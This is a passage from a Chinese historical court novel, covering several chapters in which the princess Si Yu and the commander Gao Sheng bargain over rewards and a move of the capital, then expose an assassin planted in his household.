父皇宠幸吴弼时,她只是隐约知道朝臣反对,但并不知道吴弼是?什么人,那个时候,她只是?个养尊处优、不问世事的公主,朝廷上的事和她无关,她也没资格去过问,直到父皇驾崩,吴弼与?贵妃弄权,意欲立三皇子,这些人、这些事才映入她眼帘。 吴弼的弟弟能草菅人命到这个地步,他自己呢? 这只是?她偶然得知的很小?的一件事,它几?乎就只是?吴弼弟弟的日常一娱,也不知在吴家得势的那些年?里,他们又干尽了多少?坏事。 司妤用些热水勉强擦洗,原本该睡一会儿,却又睡不着。 也没在房中躺多久,李嬷嬷在外?面道:“公主,昌乐公主到了。” “快请!”司妤立刻从床上起身,披了衣服出?去,就见?李嬷嬷带着昌乐到房中。 昌乐见?了她,哭道:“姐姐!” 司妤看看她身上,除了衣服有些脏,发髻凌乱,倒没什么伤处,便问:“你没事吧?” 昌乐摇摇头,又问:“我听说屈继先逃了?” 司妤点头,“是?的。” “竟让他逃了,他罪该万死!”昌乐咬牙。 司妤说:“这一夜太乱了,大军能杀了安朝烈,将?他们赶出?京城就已经是?大胜了,屈继先已与?黄承训分军,我们到时候各个击破,将?他诛杀只是?时间问题。” “嗯……” 司妤问:“你去见?过母后了没?” 昌乐摇头:“没有,我……” 她哭着喃喃回答:“我不知道怎么见?母后,也不知道怎么见?人,我这样子,以后要?怎么活呢……” 司妤这时明白,她之所以第一个来?见?自己,是?因为自己见?过她在屈继先后宅的样子,以及,司妤自己也曾到过高盛的后宅。 “姐姐,以前是?我不好……”昌乐说。 司妤拿手帕替她擦泪,安慰道:“我们能在此坐着,已经胜过许多人了,这一场场战乱要?死多少?人?外?面又有多少?人落草为寇,然后那些贼寇又会劫掠多少?人?若非我们是?公主,也许连性命都?没了。当今乱世,能活着就是?幸事,又哪有精力?去在意名节?还是?说,你还想着要?嫁宋之洵?” 昌乐一时无言。 宋之洵不知去向,她已失清白,就算宋之洵在面前她也不好意思?嫁了,她不知道自己想做什么。 司妤道:“安朝烈是?死了,但屈继先与?黄承训手上都?还有人,焉知他们不会反扑回来??还有四方诸侯,谁也不知他们心里怎么想,以及这批得胜的西凉军,他们又在谋算什么? “清白没了就没了,若我们再不做点什么,往后还有无数人会动我们的心思?。若皇室有权力?,我们才是?公主,若皇室没权力?,我们只是?尊贵的妓女,人人占得京城,第一个便会来?占有我们,难道你想转手于无数男人之间,沦为他们争夺的玩物吗?” 昌乐慌了,脸色苍白道:“可……我又能做什么?” “至少?,你可以照顾好母后,督促皇上多念书、多学习处理国事,这样等皇上长大,才有足够的能力?拿回权力?,如此皇室才有机会振兴。”司妤说。 昌乐将?信将?疑地点头,她甚至不知道是?否还有那一天。 司妤理了理她的发丝,安慰她道:“经此一劫,我们能活下来?都?是?大幸,你我都?不是?清白身,但这不是?我们的错,是?乱臣贼子欺辱,是?父皇他…… 她顿了顿,才开口道:“父皇他不算是?明君,不问朝事,误信吴弼,才导致今日祸乱,我们不必过多苛责自己,大不了就不嫁人是?不是??又影响了谁?” 昌乐缓缓点头。 “去见?母后吧,她担心着你。但母后性子软弱,容易着急,她要?是?在你面前悲伤哭诉,你不要?受了她影响。”司妤说。 昌乐不用去也明白母后会哭的,她觉得姐姐说得对,自己不能受母后影响。她向司妤告别,去见?太后。 见?过昌乐之后司妤越发睡不着了,便索性梳妆好了出?来?,见?到欧阳策与?马守义都?在外?面。 他们受命保护司妤,此时也未离开。 司妤朝欧阳策道:“你去看看外?面情况,再找到存留的绣衣使者,让他们来?见?我。” “是?。”欧阳策领命而去。 司妤又看向马守义,朝他道:“马队长去休息吧,太尉府外?有人把守,应不会有事。” 马守义马上道:“小?的受太尉之令护卫公主,不敢有失。” 司妤赞许地一笑,“你昨夜护驾有功,堪称骁勇,我会禀明皇上,封你为亭侯。” 马守义大惊:“小?人只是?尽忠职守,怎么敢妄想……想……” “亭侯”二字,他都?不敢说出?来?。 司妤道:“这是?皇上承诺,君无戏言。” 马守义当即跪拜,“谢皇上,谢公主!” 到下午,欧阳策回来?,带来?了绣衣使者头领何禹,同时告诉司妤一个消息:平州王死了。 司妤立刻问:“何人所杀?” 欧阳策回答:“说是?昨夜战乱,无人注意,便有人闯入王府将?平州王刺杀,并劫走金银器皿若干,也许是?士兵,也许是?流匪,也许是?有心之人扮作的士兵流匪。” 司妤下意识就觉得是?高盛。 先杀安朝烈,再杀平州王,以绝后患。 但昨夜那样的情形,死无对证。 何禹则告诉她在她离京这段时间京城的情形,主要?是?何人投靠安朝烈,何人被安朝烈所杀,比如太傅徐晦虽是?安朝烈岳父,却因不从安朝烈而被软禁,最后愤郁之下吐血而亡;宋之洵的母亲宋夫人因阻挠士兵进屋劫取财物,被士兵乱刀砍死;另有尚书台数人依附安朝烈,唯有严淮始终不曾屈服。 外?面整个下午都?在清理战场,以及战后布防,就在司妤令何禹退下时,听见?外?面传来?声响,原来?是?高盛回来?了,李风华也到了城中。 司妤立刻去见?高盛。 她去时,高盛正与?李风华在厅中议事,见?了她,高盛问:“昨夜混乱,公主怎么还没休息?” 司妤并不回答,只是?问:“我想,明日是?否在太尉府或是?尚书台开朝会?一来?论功行赏,处置孽党,二来?尽快恢复朝廷政事。” 高盛有些意外?她熬到现在竟还记挂着这些,回答:“此事不劳公主费心,臣自会与?尚书台商议了安排。” “这等大事,怎能不费心?”司妤说,“且我手中有一串立功名单,欲在朝议中当场宣读,加官进爵,予以表彰。” 高盛对李风华对视一眼,两人都?警惕起来?,高盛问:“都?是?哪些人?” 司妤将?一张纸拿了出?来?,上面列了十多人,有功绩,有所升官职或爵位,譬如开城门的薛迈,反安朝烈的严淮,这倒罢了,还有宗室汾临王,有欧阳策,有绣衣使者何禹,还有马守义等等,而且全是?大手笔,薛迈直接封为右将?军,欧阳策竟是?嘉亭侯,马守义拟封越亭侯。 很明显,她想提拔自己的人,薛迈是?由她亲自说服的,又是?郭家旧识,自然会忠于她;严淮有宰辅之才,虽是?由他提拔,却为人忠正,隐隐向着皇室,她在拉拢;至于欧阳策何禹之流,就完全是?她的人;马守义虽出?自他军中,但在他军中只是?个小?小?队长,若被她一朝封爵,岂不是?从此感恩戴德? 最重要?的是?,这样给?其余人一个信号,忠于皇室,便能升官加爵,一飞冲天。 高盛冷笑道:“公主这名单也太儿戏了,欧阳策马守义这些人做了什么要?加爵位?公主如此,让那些上阵杀敌的人如何作想?” 司妤道:“若非有欧阳策与?马守义,皇上已被黄承训劫走了,到时候他假天子之手号令天下,你我便都?成了反贼,封他们一个小?小?亭侯,有什么不可?更何况这是?皇上昨夜亲口承诺,救驾者封侯,若皇上亲口承诺都?不能作数,那这皇上是?什么皇上?” 高盛道:“昨夜救驾之人的确有功,但如何封赏,还须再议,若随意就封侯,那侯爵便会成为笑话,臣想,待臣与?尚书台商议后再作决定,如何?” “何时商议,我也要?在列。”司妤道。 高盛扯动嘴角笑了笑:“公主参议朝政,怕是?不合朝廷规矩。” “皇上年?幼,太后本有辅政之职责,奈何太后体弱,由我辅政,为何不可?”司妤问。 高盛慢悠悠道:“怕是?朝臣反对,本朝开国还未有过公主摄政的先例。” 司妤看向他:“本朝也没有王爷在王府中被杀的先例,既然朝议,是?否要?详查平州王之死?” 高盛目光锐利看向她:“公主的意思?,平州王被杀与?臣有关?臣怎么觉得,受益更大的是?公主呢?毕竟公主十分不愿看到平州王被立为帝。” “高盛,你这是?恶人先告状!” “臣才诛杀安朝烈便成了恶人,公主是?京城都?没站稳就要?过河拆桥?” 见?两人针锋相对,李风华急忙道:“公主,太尉,不如小?人即刻就让人去请严令君,李少?府,谢御史等公卿重臣至太尉府,共同商议朝会之事,待朝会细节定下,再决议朝会日期也不迟。” 这是?要?看朝臣的态度,司妤与?高盛都?没理由反对,便一致同意了。 李风华便让司妤先回去休息。 待司妤一走,高盛气?得将?那纸名单团作一团扔在地上,怒道:“得寸进尺!” 李风华温声劝说:“属下以为,长公主此举,也是?经过思?虑的。如今屈继先与?黄承训都?手握重兵逃蹿在外?,京中降将?也在观望中,薛迈等人必定听命于公主,而我西凉一方,卢将?军与?柴将?军都?在外?阻击敌军,只有太尉带兵在城中,真要?对起阵来?,我们要?取胜也并非易事。 “更何况此时也不便与?长公主为敌,强敌在外?,太尉与?公主只有合作才能无坚不摧,若是?再互相拼杀,便又给?了人可趁之机。” 高盛长长吸一口气?,若论封赏,他自有准则,他能带出?战无不胜的西凉大军,靠的便是?赏罚分明,所有人的军功职位都?是?一刀一枪杀出?来?的,绝不会有人被埋没,也不会有人能走捷径,但现在,司妤要?大肆封赏对她有利的人。 偏偏在名义上,她是?君,他才是?臣。 他无奈道:“你之前说的对,我还真不该被美?色所迷。” 李风华沉默不语。 第33章 第 33 章 晚上的?议事, 几位重臣却并不反对司妤参与朝会。 司妤与高盛也很有默契地没?有当着几位重臣争执,维持了该有的?表面和气?。 两个时辰的?议事,大致确定了司妤能代替太后参与国事;确定了两日后举行大朝会;确定了严淮拜相, 高盛仍为太尉, 加封侯爵,但其余封赏仍有异议, 异议的?主要原因是高盛要封赏西凉军,司妤不同意,司妤要封赏薛迈等人,高盛不同意。 熬到夜半鸡鸣, 几位老臣熬不住了,于是议会散了, 重臣们?各自回府, 司妤与高盛则各自回房。 回到后院, 苏检道:“此后,长?公主便有了临朝称制之权, 事情就难办了。” 李风华也叹息:“我等之前皆忽略了一件事,便是长?公主的?威信, 她刺杀太尉,又与太尉一同杀回京城,联络严淮、游说薛迈, 以?及亲自带兵去救驾……加上她的?长?公主身份,这一切都让她收服了人心, 有了皇室的?威信, 或许她要冒险随大军攻城, 便为的?今日。” 的?确如?此,连西凉军都开始认长?公主为君主, 这是危险的?信号,因为比起其他人,司妤有天?然的?优势,她是司姓皇室。 此时苏检道:“太尉与军师倒也不用过于忧虑,可?别忘了,长?公主始终是女人。既是女人,便永远也难登大雅之堂,她再如?何?,也只能辅政,却不可?能真正?坐上龙椅。反观当今天?子,大致能断定,是个资质平庸之辈,只要天?子扶不起,太尉便大有可?为。” 李风华捋了捋胡须,点头认可?:“正?是如?此,长?公主是女人,算得上不幸中之万幸。” 他们?说得在理,高盛也认同,但不知为何?,他却并没?有觉得宽慰、认为司妤不足为虑。 难登大雅之堂这几个字他听过,很多次,说的?是他,因为他祖父是杀猪的?,父亲也是杀猪的?,高家是屠户出身。 他想起曾经,自己十四?岁就从军,于凉州与羌人征战多年,虽然威名远播,却始终只是个小小校尉,若有苦仗恶仗,便由他去,因为只有他能拿下;若有去了就能捞军功的?好差使?,便又成了那些名门?之后的?囊中物,诸如?安朝烈之流。 但没?有觉得这有何?不妥,谁叫他是寒门?? 三公九卿的?子孙仍是三公九卿,寒门?子弟九死?一生归来,却永远只能做寒门?,当他一腔热血,自以?为能凭战功封狼居胥时,别人早已拟好了封赏名单;当她熬了两三个夜,以?柔弱之躯拿下临朝听政的?权力时,一群男人在说,她终究是个女人,难登大雅之堂。 从出生那刻时,他们?便已注定了失败。 李风华见他迟迟没?说话,问:“太尉可?是有什么?顾虑?” 高盛摇头:“没?有,你们?都尽早回去休息吧。” “是。” 两人才欲退下,高盛突然道:“皇宫的?火灭了没??” 李风华回答:“今日下午灭了,但没?能救回多少,该烧的?都烧了。” “既如?此,是不是该迁都了?”高盛问。 李风华与苏检对视一眼,又沉吟片刻,李风华道:“属下觉得可?行。” “那你们?就回去各自想想这事,确定了,就在朝会时提出。”高盛说着进了房间。 连续两天?不睡,司妤几乎就要熬不住了,一回房就睡死?在了床上。 直到第二天?中午她才醒来,李嬷嬷告诉她,外面有宫中逃出的?宫女和太监找,她马上召见,这才见到如?缨如?绵两人,还有赵良。 如?绵是与她一起行刺高盛的?,后来她被卢慈带走,便再也不知她的?消息,没?想到她还活着。 如?绵告诉她,当日行刺的?五人里,有两人被水冲走找不到了,还有包括她在的?三人则活了下来,成功回了宫中,但包括漪兰殿的?许多人都在皇宫起火那一晚失散了,也许是被黄承训的?人杀了,也许是拿着财物逃了,最后能找过来的?只有他们?三人。 司妤既欣喜又哀痛,让他们?留下好好休息。 她梳洗好,用过饭,高盛便来了。 一听说他来,她就打起精神去了明间,召他来见。 高盛一副悠闲模样,并不像是来吵架的?,司妤心中觉得奇怪,却也暗自警惕。 她端正?坐着,问:“不知太尉到此有何?事?” 高盛回答:“臣回去再三考虑,觉得封欧阳策等人为亭侯虽有些荒谬,但毕竟是皇上允诺,确实也不好失信,公主意欲封赏也在理。臣今日也去见了皇上,见皇上屈居于那小小一间卧室中,身边侍候不过三四?人,实在凄苦。 “可?宫室已被烧毁,京中钱粮财宝也都被黄承训等人搜刮干净,一同带走了,臣想,是不是迁都去西昌呢,那里本就有旧时行宫,修葺一番,总比在这儿好。” 司妤听明白了,他是要作交易。 用薛迈等人的?封赏,来换迁都去西昌,如?果她不同意迁都,他也不会同意封赏。 他可真是会打算盘! 迁都去西昌无疑就是去了高盛的?老家,这对皇室是大大的?威胁,也许将来再也除不掉高盛便是这步棋错。 但迁都也有好处,宫室烧毁了是一样,二是西昌处于北方要塞,易守难攻,若在乱世,在西昌建都是最好的?。 “就算迁都,也未必要迁去西昌,我看通州也不错,且那里土地肥沃,粮食富足,去了通州,便再不愁粮食。”司妤说。 高盛反对:“公主去读几本兵书便知道通州有多难守,南方的?余遂等人只要拿下了夔州,便能势如?破竹,一路攻来通州,到时候有多少粮食都成了别人的?米仓。” “西昌确实能守南边的?敌军,若是有北方的?突厥人呢?”司妤反问,随后道:“兵书我读过,怕是还比太尉读得多呢。” 高盛听出来她在讽刺他读书少,一时心中郁闷,看见面前摆着的?茶盏,开口道:“大热的?天?,谁喝得进茶?你们?——” 他看向外面侍候的?人:“还不快去给公主端盘瓜果来,公主最爱葡萄。” 一边说着,他一边将一条腿放到了椅子上,目光挑衅看着她,非常没?有坐相,也非常无礼。 司妤知道他在故意侮辱自己,也在气?自己,她知道自己不能上当,却还是气?得红了脸,连连深吸气?。 下面人不知情,连忙去端来两盘紫葡萄,一盘放在司妤面前,一盘放在高盛面前。 高盛放了一颗在嘴里,和她道:“公主不尝尝?比上次的?甜,但少了几分特?殊的?味道。” 司妤气?极地一拍桌子,从椅子上起身:“太尉这么?喜欢吃就带回去吃吧,我累了,你且退下。” 高盛一边将腿放下,一边端起了葡萄,和她道:“行,那迁都之事,公主再好好想想。”说着得意洋洋退下。 司妤看着面前的?葡萄,第一次控制不住怒火,将盘子掀在了地上。 此后,两人再未见面。 第二日的?朝会如?期开始,高盛提出迁都西昌,司妤要从长?计议;司妤要封赏薛迈等十多人,高盛则一一反对,认为他们?只能算功过相抵,不处置已是天?恩浩荡,再谈封赏,则是寒了无数忠贞将士的?心。 两人如?此意见不和,朝会到最终也没?有结果,只能容后再议。 这日朝会结束,司妤与高盛都是黑着脸离开,似乎连表面和气?都快维持不下去了。 从议事厅去往后院,司妤在前面走,陈滔从后边过来,与高盛道:“太尉,有一事容禀。” “说。”高盛一边回着一边往前走,语气?不太好。 陈滔道:“安朝烈宅子被查抄了,里面余众都细细查问,有一名女子,是安朝烈从江浙寻来的?美人,不愿离去。” “不愿离去你们?收了不就行了?”高盛心烦道。 陈滔马上回答:“但她和属下说一心仰慕太尉,只想服侍太尉,求太尉见她一面。” 高盛先往前走了两人步,随即想起什么?来,停下了,看看走在前面的?司妤,又看看陈滔,有意问:“是吗?此女长?得如?何??” “极美。”陈滔回答。 高盛笑了笑,似乎心情大好:“你早说,那你去接她过来,送我房里去。” “是。”陈滔很快回。 司妤置若罔闻,头也不回往前走,回了房中。 其实朝议之后,她已看出趋势,最终一定会迁都西昌,只是时间早晚问题。高盛是坚定不移地要迁都,她是负隅顽抗地反对,而她也知道迁都对当下有好处,但暂时的?好处,却会换来将来的?恶果。 待高盛势强,一切就会回到她刺杀高盛之前。 为此心烦意乱,到下午夕阳西下,正?午的?暑热都退了,司妤便到花园里走走,恰好看到了王小桃。 王小桃自外面进来,穿得很素,手?上提着个篮子,脚上带了泥,裙摆上也都是草屑。 见了她,王小桃连忙行礼。 司妤问她:“县君今日出门?去了?” 王小桃回答:“是,去拜祭了宋夫人。” 司妤想起来,王小桃与宋之洵拜了堂,不管当时发生了什么?事,至少两人有着堂堂正?正?的?夫妻名分,宋夫人就是她婆婆。 对于宋之洵,司妤自己心中也有愧疚,但她要记挂的?事太多,没?有精力去管这点愧疚。 她问王小桃:“宋夫人葬在何?处?” “宋夫人被害后是宋家门?生偷偷将她葬在了城西的?树林中,我给她立了座碑,若宋家后面要迁坟,能也找到地方。” 司妤道:“宋之洵不知在何?处,若他有知,也会感激你。” 王小桃知道宋之洵看不上她,什么?也没?说。 这时陈滔带着一人往这边过来,是个年轻女子,穿一身轻纱般的?粉衣,盘着发,但还有意留了一缕头发下来垂在脸侧,显露出几许风情,似乎不是什么?正?经女人,但容貌是真好看。 王小桃忍不住将这女人打量了一番,问陈滔:“陈将军,你这是……” 陈滔过来,朝两人行礼道:“见过长?公主,见过县君。”随后回答:“禀县君,这是安朝烈府上宠姬,因其仰慕太尉,自愿入府服侍,我便将她送过来。” 王小桃听了这话,顿时愣了,不知怎么?接,一会儿看看那粉衣女子,一会又悄悄瞥一眼旁边的?长?公主。 虽然她知道表叔和长?公主不是什么?男欢女爱的?关系,也知道他们?因合作而攻京城,又因各自利益争执了这么?几日,但当初长?公主进表叔卧房那一幕一直在她的?脑海中无法?抹去。加之表叔未娶妻,公主未招驸马,她总会无意识将他们?想成那种关系,可?此时,陈滔却带了这么?一个女人过来。 对王小桃来说,就好像陈滔当着她表婶的?面,要送女人去表叔房中,让她这个做侄女都跟着尴尬。 好半天?她才道:“你同表叔说过了?” 陈滔道:“自然请示过,此番是遵太尉之意送过来。” 王小桃越发不知道说什么?了,沉默老半天?,“哦”了一声。” 司妤也没?有说什么?,好像与自己无关。 陈滔便带着那女人去往高盛寝房。 因为皇上与太后都在此,主屋自然留给了他们?,司妤、高盛、王小桃等人都住在偏房,太尉府并没?有很大,所以?她们?两人也能看到陈滔带着女人从东边月洞门?过去,去了那边院子,过了一会儿,陈滔自己从月洞门?处出来,再次见过两人后离去,那女人便留在了高盛房中。 竟然和当初司妤进高盛寝房如?此像。 王小桃心中尴尬惭愧得受不了,赶紧朝司妤行了个礼告退了。 司妤看看那月洞门?的?方向,面无表情回了自己房中。 第34章 第 34 章 这一晚司妤睡得早, 不知睡了多久,莫名就醒了过来。 房中还燃着一只烛火,在床帐外散发着微弱的光芒, 四?下一片寂静, 一点气息也无。 她?却异常清醒,在床上躺了一会儿, 下意识就想起白日的事?,想起那个被陈滔带来的粉衣女子。 这个时候,她?突然意识到哪里奇怪。 只怕高盛此时正?和那女人…… 迟疑了一会儿,她?主?意已定, 立刻起身,唤道:“如缨——” 如缨过来, 她?问:“现在几?更了?” 如缨道:“公主?, 刚刚才三更呢, 公主?怎么?醒了?” “快给我拿件衣服来!”司妤说着就已从床上起身,趿了鞋子下床来。 如缨一边拿来衣服一边问她?:“怎么?了?” 司妤匆匆套上衣服, 披散着头发就快步出了屋子,到院外, 和旁边护卫道:“快随我来!” 护卫立刻跟着,她?几?乎是小?跑着到了高盛院子前?。 高盛院前?也有护卫,朝她?见礼道:“长公主?。” 一边是行礼, 一边也是拦住她?去路。 司妤急道:“快去看看,有刺客, 太尉恐有危险!” 护卫一听, 立刻就持刀进院内, 飞一般冲向高盛寝房前?,急拍了两下门, 朝里喊道:“太尉——” 司妤来了,比他更急,一把将?门推开,急喊道:“高盛!” 屋内一片黑,一群人走到房中央,才见高盛只穿条裤头,光着身子持刀从里面出来,恼怒着问:“做什么??” 司妤提过身旁护卫的灯笼,冲到内室,看一眼空空如也的床上,问他:“那女人呢?” 高盛夜半被吵醒,摸不着头脑,又十分?不悦,问:“什么?女人?” “下午那个女人,安朝烈身边的!”司妤问。 高盛将?她?看一眼,再看看被她?带来的一群人,轻飘飘道:“你问她?做什么??” “她?有问题,绝不是普通女子!她?在哪里?”司妤急问。 高盛一边看着她?,一边到衣架旁拿衣服往身上穿,不慌不忙。 司妤看他穿衣服看得着急,又问:“她?真的可疑,不可小?视,她?人呢?” 高盛回答:“下边,西边小?偏房内。” “你们随我来!”司妤说着就带人冲向外面。 院内的朱勇带路,高盛寝房外边是东西厢房,这小?偏房还在西厢房更边上,一行人正?要冲进去,高盛在后面道:“将?屋子围住。” 守卫于是立刻先将?房间包围。 这时朱勇才将?门踢开。 女子从里面惊叫一声,慌乱道:“你们做什么??” 守卫冲进去将?她?团团围住。 她?只穿着一件寝衣,寝衣松垮,隐隐能看到里面亵衣的系带,头发披散,楚楚可怜,让守卫都有些不敢上前?,怕冒犯了这女子。 她?的目光投到门外司妤身上,快速掠过,很快看向后方,娇声道:“太尉,太尉这是怎么?了……” 高盛才从后面过来,下令:“拿下!” “太尉,为何如此?”女子一边哀声问着,一边却在守卫靠近时一把夺过他手上的刀,一招便抹了那守卫脖子,朝外面的高盛飞身而来。 守卫先前?的轻敌让他们吃了大亏,此时即刻上前?将?她?挡住,没能让她?冲出门来,女子只能回身再去解决守卫。 高盛将?门口站着的司妤往后拉了一步,让她?待在了后边。 他则静静看着里面的缠斗。 女子虽武艺高强,但终究是寡不敌众,这里的守卫都是军中精锐,半刻之后,女子身上受了几?处刀伤,被成功制住,缴下手上的刀。 高盛进屋中,问:“何人所?派,进来做什么??” 女子闭口不言,高盛便提灯进屋去,关?上了门。 司妤去院中等了一会儿,一刻不到,高盛出来了,在他身后,守卫将?不能动?弹的女子拖了下去。 司妤看向他,他到司妤面前?,说道:“屈继先收买的杀手,院内同时安排了内应给她?递武器,本来准备今晚动?手,结果我没找陪睡,没找到机会。” “那就好……” 高盛看着她?:“公主?为何知道她?是刺客?” 司妤不说话。 高盛笑?道:“总不会是见我要找她?陪侍,心生妒意,所?以?才编造刺客之说,结果歪打正?着吧?” “当?然不是。”司妤白他一眼,吸了一口气,反问他:“听闻江夏郡余遂,手持一只百斤重的方天画戟,威猛无比,勇冠三军,太尉若见了他,会怎样?” 高盛轻哼一声:“自然要与他比试比试,我倒要看看他这名声是不是吹的。” “对,因为太尉与他皆是武将?,若见到了,定要看看这人是何方神圣。而这女子,她?说她?倾慕太尉,又是安朝烈的宠姬,她?必定能知道我,也知道……” 她?顿了顿:“也知道我曾是太尉的笼中雀,她?听闻陈滔叫我长公主?,却连偷偷瞟一眼都没有…… “这绝不是个以?色侍人的,若是如此,她?定要好好瞧一瞧我,在心里评判以她的姿色能不能得到宠爱,她?没有,也并不好奇我,证明她?有别的倚仗,也不想引起我的注意。” 高盛认同她?的说法?,也觉得新奇,仅仅就因为人家没看她?,她?就能猜到人家另有身份。 随后他笑?道:“什么?笼中雀,说得好像我强迫了公主?,我记得当?初可是公主?主?动?进的我房里,主?动?脱的衣服。” 司妤转身就走,高盛一把将?她?拉住:“行,我错了,是我强迫的,就算公主?这么?绝色的美人到了我房里,脱了衣服,我也不该动?心,我就该是个阉人。” 司妤仍想走,他继续道:“不管怎样,今日多谢公主?救我一命,我还以?为公主?做梦也想我死。” 这一句却也是真心实意。 司妤停下了,半晌低声道:“若太尉死了,我也许也离死不远了。” 高盛笑?起来,突然很想牵她?的手,但想着她?便不会让,他只好恋恋不舍将?她?胳膊放开,说道:“臣可不忍公主?命殒,肝脑涂地也会护着公主?。” 司妤自然不会信他这鬼话,但他是如此强悍一个人,哪怕是让他如此半真半假地承诺一句,也倍觉心安。 她?问道:“太尉不是特?地让陈滔将?她?送来吗,怎么?又将?人放在了那么?远的偏房?” 高盛含笑?沉默一会儿,看着她?月色下的脸,回道:“也许公主?不信,其实我也没那么?好色,我承认,公主?对我来说有特?殊的吸引力,也许是公主?的美貌,也许是公主?的身份,但总之,我也不是是个女人就要的。” 司妤不想回应,但在心底想了一遍,觉得至少和屈继先安朝烈这些人比,他确实也不算太好色。 两人都站在月光下,此时夜色宁静,似乎人心也宁静下来,她?说道:“我同意迁都,就依太尉所?言,迁去西昌吧。” 高盛看着她?笑?,语气温和无比:“那公主?想封赏的人,我也都同意。公主?放心,去了西昌,我们定能安民积粮,广畜军资,到时再剿灭屈继先黄承训和各地反臣,平定天下。” 两年多来,司妤一直都在忧患无助中,独自护着皇室最后那点微弱火苗,无人倾诉,无人求助,看不见希望,此时听他这番话,只觉心潮澎湃,前?途光明。 真有那么?一天么?? 她?不由露了几?分?舒心的笑?容,看向高盛,真诚道:“此后种种,一切都拜托太尉。” 高盛一时有些恍惚,有一种她?是君,他是臣,她?对他倾力交托,委以?重任的感觉。 若是十年前?的他,定会粉身碎骨也在所?不惜,以?报君恩,但如今……他再也不是曾经那个他,他不想替这腐朽的大兴卖命,它不配,但此时的公主?,又让他心生怜惜。 如果他平定天下后称帝,封她?做皇后,不知道她?愿不愿意。 算了,不用想,她?一定会杀了他。 第35章 第 35 章 两日后群臣于?太尉府参议朝会, 长?公主?与太尉却已是一团和气,之前一应封赏名单太尉都允了,长?公主?也当即表示西昌本为文帝时陪都, 占据天险, 近可攻退可守,此?时为都城再好不过, 于?是迁都之事便敲定了。 自先帝即位,不事朝政,任用奸佞;随后先帝驾崩,又是太尉进京, 朝中事务皆由武将把持,坐在龙椅上的皇帝不过是傀儡;如今皇帝端座上方, 公主?垂帘听政, 太尉率百官上奏, 倒有一种提纲挈领、欣欣向荣的态势,仿佛朝廷终于?迎来久违的秩序与安宁。 最?后朝会决议, 用一个月时间筹备,一个月后, 皇帝与百官出发?,前往西昌,如此?正好在入冬前到新都。 朝会从清早天未亮到正午, 众人都饿得前胸贴后背,司妤便下令让后厨煮粥, 众臣用过饭再回去。 这在宫中是常事, 给大臣准备饭食也是尚食局的事, 但太尉府之前却没准备过,于?是一声令下, 整个厨房都忙起来。 府上膳食,平时也由王小桃在代管。 太尉府上的仆人全是临时雇来的,没有人家百年望族的底蕴,自然也没有许多信得过的奴仆,府上也没个女?主?人,这些事只能王小桃管,高盛的意思?,反正她嫁人了也要做主?母,正好现在先练着。 王小桃亲自在厨房盯了半天,总算让人将粥和小菜送去了前面议事厅,才松口气,昌乐公主?身边的宫女?过来,问午膳怎么还没好。 王小桃连忙解释,这才开始让厨房做午膳,眼?见宫女?来催了两道,王小桃怕公主?生气,便亲自将膳食端过去,向昌乐公主?解释。 昌乐公主?看着眼?前的饭菜,脸色不豫,问其?中一道黑黑的菜:“这是什?么?” 王小桃回答:“是雪里?蕻肉丝,看着不好看,但十分可口。” 昌乐身旁的宫女?问:“这么说是咸菜?” “正是。”王小桃回答。 宫女?道:“今日的午膳晚了一个时辰不说,还只有三个菜,就?这三个菜里?,还有一道咸菜,你这叫公主?如何下口?” 王小桃马上解释:“因?议事厅里?要送饭过去,厨房的人手和锅灶都不够,才耽误了,菜也来不及去买,只能委屈公主?将就?用这一顿。” “人人都委屈不得,便只有委屈我?这便是太尉的为臣之道?”昌乐气得拿了那碗咸菜肉丝摔在地上,“你……滚!” 王小桃也十分委屈,解释道:“前面的粥菜一送去就?马上给公主?做了……”唯恐公主?将这责任归在表叔身上,她又道:“也怪臣女?没管过事,一下这么从人用饭,厨房忙不过来,臣女?也慌了神,所以才怠慢了公主?,望公主?恕罪……” 昌乐看她一眼?,不屑地轻哼:“这你倒说对?了,果然村姑就?是村姑,就?算封了个县君,也上不得台面。竟还以宋家媳妇自居,就?你这样,真去了宋家,也是闹笑话。” 王小桃没受过这样的委屈,她自己也饿得眼?冒金星,虽然在厨房,却一口水也没时间喝,专程来向公主?赔礼,却还要受她奚落。 她低头不语,昌乐身旁宫女?开口道:“算了,你先下去吧,晚膳再如此?敷衍,饶不了你。” “是。”王小桃便退身下去了。 背后昌乐怒气难消道:“气死我了!” 宫女?小声安慰:“她毕竟是太尉侄女?,听说太尉对?她十分看重,长?公主?特地交待,太尉势强,在太尉府不可过分。” “我还不够隐忍,我若过分,便将她拖下去打板子了,哪容她如此?无礼!”昌乐怒道。 离得远了,后面的话王小桃就?听不见了。 她离了昌乐的院子,便越想越委屈,往前走着,不由就?抹起眼?泪。 门口候着她的丫鬟见了,忙问:“县君怎么哭了?我听见公主?在里?面摔东西了,是朝县君发?脾气了吗?” 王小桃擦了眼?泪,倾诉道:“说竟我把咸菜给公主?吃,发?脾气摔了菜,还奚落我是村姑,咸菜怎么就?不能吃了,还加了肉,别人还吃不到呢!” 今日厨房忙,连王小桃自己都没吃,更?别提丫鬟们,丫鬟叹声道:“昌乐公主?是跋扈一些,恨不得这里?是皇宫,还是长?公主?好一些,从没挑剔过吃穿用度。” 王小桃想起自己最?开始觉得昌乐公主?好一些,长?公主?冷淡,似乎高高在上,现在与两位公主?接触多了,却发?现昌乐公主?完全不像当初她进宫那样和气,竟如此?不饶人,长?公主?呢,虽然仍是疏离冷淡,但也从无苛责。 丫鬟说:“昌乐公主奚落县君,县君不如告诉太尉,太尉总能替公主?作主?。” 王小桃摇头:“算了,表叔那么忙,这种鸡毛蒜皮的小事就不要去烦他了。” 说着她往厨房走,走了一半,却突然想起来什么。 当初推她落水的,会不会不是长?公主?,而是昌乐公主?呢? 当时她虽觉得奇怪,但谁也没怀疑,因?为长?公主?看上去矜贵,不像会做这种事的人,昌乐公主?对?她又很和气,更?不像,直到后来得知宋之洵与长?公主?有过婚约。可现在她却觉得长?公主?依然不像,但昌乐公主?……好端端的,公主?还提起宋家来。 那天要说离她近,应该是昌乐公主?离她更?近。 王小桃没准备告诉高盛,却在回厨房路上撞见了从前面过来的高盛。 高盛一眼?就?见她眼?眶带红,问她:“怎么了?哭了?” 王小桃下意识就?看向旁边丫鬟,示意她别说。 丫鬟便马上低下头去,高盛又问:“问你,你看别人做什?么?”说着要去问丫鬟,王小桃便道:“没什?么事,我是想起……想起宋夫人,好端端的人就?没了。” “是吗?”高盛才问,王小桃赶紧岔开话题:“表叔,我太饿了,我还没吃饭。” 高盛微愣:“怎么现在还没吃?” “朝会上不是要送吃的去吗,咱们家的厨房够大了,可以也不够做那么多人的饭菜啊。” 